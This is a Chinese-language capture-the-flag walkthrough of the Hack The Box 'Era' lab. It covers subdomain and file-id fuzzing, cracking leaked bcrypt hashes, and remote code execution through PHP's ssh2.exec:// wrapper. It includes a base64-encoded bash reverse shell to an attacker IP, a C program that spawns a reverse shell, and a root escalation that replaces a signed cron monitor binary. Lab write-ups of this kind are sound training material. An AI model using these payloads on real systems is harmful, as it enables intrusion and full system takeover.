Pwned-Exploiting HTB Era

Era

第一步用nmap进行扫描

1
nmap -sV -sC -Pn --min-rate 2000 10.10.11.79 --verbose

发现有21,80端口。那就访问一下80端口,发现无法访问,那就添加到/etc/hosts里面。

1
echo '10.10.11.79\tera.htb' | sudo tee -a /etc/hosts

找一找,抓抓包,发现没什么可以利用的,那就扫下其他文件和子域名。

1
2
3
4
# 扫文件
python dirsearch.py -u http://era.htb/
# 扫域名
ffuf -w fuzzDicts/subdomainDicts/main.txt -u http://era.htb/ -H "Host: FUZZ.era.htb"

发现了一个file的子域名。无法访问,添加到/etc/hosts中。

1
2
3
echo '10.10.11.79\tfile.era.htb' | sudo tee -a /etc/hosts
# 扫一扫,为什么-fw 4 因为不加的话,会出现很多,那就判断Words: 4无效
ffuf -w ../fuzzDicts/subdomainDicts/main.txt -u http://era.htb/ -H "Host: FUZZ.era.htb" -fw 4

但是需要登录,那就扫扫file.era.htb看看有没有其他的文件。
picture 0

picture 1

1
2
# 扫扫文件
python dirsearch.py -u http://file.era.htb/

有个register.php,进去看看是不是能注册。
picture 2
注册之后,可以登录。并且可以上传文件,那就上传一个脚本看看。
picture 3
发现有编号。
picture 4
picture 5
那其实可以看看都有什么文件。

1
2
3
4
5
6
7
8
9
seq 4000 > num.txt

# 试了下,全是302,是不是有cookie
ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -w ../../Downloads/num.txt

# 再试下,过滤掉没有的3161,再试试
ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -w ../../Downloads/num.txt -H "Cookie:PHPSESSID=iv03adftavqoviaa3q3aj9ffvn"

ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -w ../../Downloads/num.txt -H "Cookie:PHPSESSID=iv03adftavqoviaa3q3aj9ffvn" -fw 3161

有两个文件被搜到,下载到本地看一看。
picture 6

picture 7

site-backup里面有个数据库文件,看一看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sqlite3 filedb.sqlite 
# 看看表
sqlite> .tables
files users
# 看看字段,发现有密码
.schema users
CREATE TABLE users (
user_id INTEGER PRIMARY KEY AUTOINCREMENT,
user_name varchar(255) NOT NULL,
user_password varchar(255) NOT NULL,
auto_delete_files_after int NOT NULL
, security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255));
# 看看内容
SELECT * FROM users

# 那就解一下密码
echo 'admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC' > hashes.txt

john --wordlist=../tools/rockyou.txt hashes.txt
john --show hashes.txt
# 解出来两个
eric:america
yuri:mustang

有这两个账户登录看看,发现也没什么有用的,看看文件夹里其他的php
security_login.php,网页登录看看。之前发现了admin账户的一些认证问题,登录看看。发现也没什么,之前有个21端口开着,看看ftp能不能登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# 发现yuri可以登录
ftp 10.10.11.79
Name (10.10.11.79): yuri
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.

# 进去看一看 下载到本地看一看 好像也没什么可以利用的
ftp> cd apache2_conf
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 1332 Dec 08 2024 000-default.conf
-rw-r--r-- 1 0 0 7224 Dec 08 2024 apache2.conf
-rw-r--r-- 1 0 0 222 Dec 13 2024 file.conf
-rw-r--r-- 1 0 0 320 Dec 08 2024 ports.conf
# 进入php8.1_conf看一看

ftp> cd php8.1_conf
250 Directory successfully changed.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 .
drwxr-xr-x 4 0 114 4096 Jul 22 08:42 ..
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 build
-rw-r--r-- 1 0 0 35080 Dec 08 2024 calendar.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 ctype.so
-rw-r--r-- 1 0 0 190728 Dec 08 2024 dom.so
-rw-r--r-- 1 0 0 96520 Dec 08 2024 exif.so
-rw-r--r-- 1 0 0 174344 Dec 08 2024 ffi.so
-rw-r--r-- 1 0 0 7153984 Dec 08 2024 fileinfo.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 ftp.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 gettext.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 iconv.so
-rw-r--r-- 1 0 0 1006632 Dec 08 2024 opcache.so
-rw-r--r-- 1 0 0 121096 Dec 08 2024 pdo.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 pdo_sqlite.so
-rw-r--r-- 1 0 0 284936 Dec 08 2024 phar.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 posix.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 readline.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 shmop.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 simplexml.so
-rw-r--r-- 1 0 0 104712 Dec 08 2024 sockets.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 sqlite3.so
-rw-r--r-- 1 0 0 313912 Dec 08 2024 ssh2.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvmsg.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 sysvsem.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvshm.so
-rw-r--r-- 1 0 0 35080 Dec 08 2024 tokenizer.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 xml.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 xmlreader.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 xmlwriter.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 xsl.so
-rw-r--r-- 1 0 0 84232 Dec 08 2024 zip.so

# 里面好多so文件,问问gpt,gpt说ssh2.so 提供了 PHP 使用 SSH 协议的能力,相当于在 PHP 里嵌入了一个迷你版的 SSH/SFTP 客户端。
# 在 PHP 脚本里,如果 ssh2 扩展已启用,可以调用一些函数,例如:
# ssh2_connect() → 建立 SSH 连接
# ssh2_auth_password() → 使用用户名/密码认证
# ssh2_exec() → 在远程服务器上执行命令
# ssh2_scp_send() / ssh2_scp_recv() → 通过 SCP 上传/下载文件
# ssh2_sftp() → 打开一个 SFTP 会话
# 看看是不是可以利用,返回去看看php文件,有个download.php,丢到gpt里面

# 管理员模式下(show=true 且 erauser=1),拼接了 $wrapper . $file,而且 $wrapper 可以是任意协议(只要 format 里包含 ://)。
# PHP 内置了很多 stream wrapper,比如:
# php://filter → 可以对文件做 base64 编码读取
# ftp:// → 可以访问 FTP 文件
# ssh2:// → 如果扩展启用,可以走 SSH
# http:// → 可以请求外部 URL(前提是 allow_url_fopen 开启)
# 这就意味着如果管理员账号能登录,就能用 format 参数结合 wrapper 访问到不在正常文件目录下的内容。
# 说明存在利用空间 反弹shell 记得末尾加; 因为每次执行,看到和files是连着的,加了之后就执行成功了
http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27printf%20KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDQ0ICAwPiYxKSAm|base64%20-d|bash%27;

# 反弹成功

提权

先把linpeas传上去,执行看看哪些地方可以提权。
picture 8

后面不知道咋做了,网上搜到大佬的笔记,上传pspy查看进程。

1
2
3
wget http://10.10.16.3:9999/pspy64
# 执行
pspy

picture 9

丢给GPT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
CRON 任务执行
UID=0 PID=64453 | /usr/sbin/CRON -f -P

root 用户(UID=0)运行的 CRON 守护进程
-f 表示前台运行
-P 是 CRON 的日志输出标志


bash 执行脚本
/bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1


CRON 调用 bash 来执行 /root/initiate_monitoring.sh
输出和错误都重定向到 /opt/AV/periodic-checks/status.log
多条类似命令显示脚本被重复或周期性调用


objcopy
objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor

root 运行的 objcopy 命令
从 /opt/AV/periodic-checks/monitor 可执行文件中导出 .text_sig 段到 text_sig_section.bin
可能是 AV 或监控程序用来验证二进制完整性

监控程序
/opt/AV/periodic-checks/monitor
AV 或监控程序自身执行
可能由 CRON 脚本触发

关键就是以root权限执行咱们反弹shell,那就先编写一个可执行的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# so文件
file monitor
monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped

# 写到ex.c文件中
#include <stdlib.h>
int main() {
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.3/5555 0>&1'");
return 0;
}

gcc ex.c -o ex

# 再把ex传到目标机器
wget http://10.10.16.3:9999/ex

# 获取.text_sig字段
objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
# 添加字段
objcopy --add-section .text_sig=text_sig_section.bin ex

rm monitor
mv ex monitor
# 同时启动端口监听
ncat -lvnp 5555

Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.11.79:38388.
bash: cannot set terminal process group (65499): Inappropriate ioctl for device
bash: no job control in this shell
root@era:~# ls
answers.sh
clean_monitor.sh
initiate_monitoring.sh
monitor
root.txt
text_sig_section.bin
root@era:~# cat root.txt
05ee929a181ae44e2282d82ff12eb7ba

又学到了T_T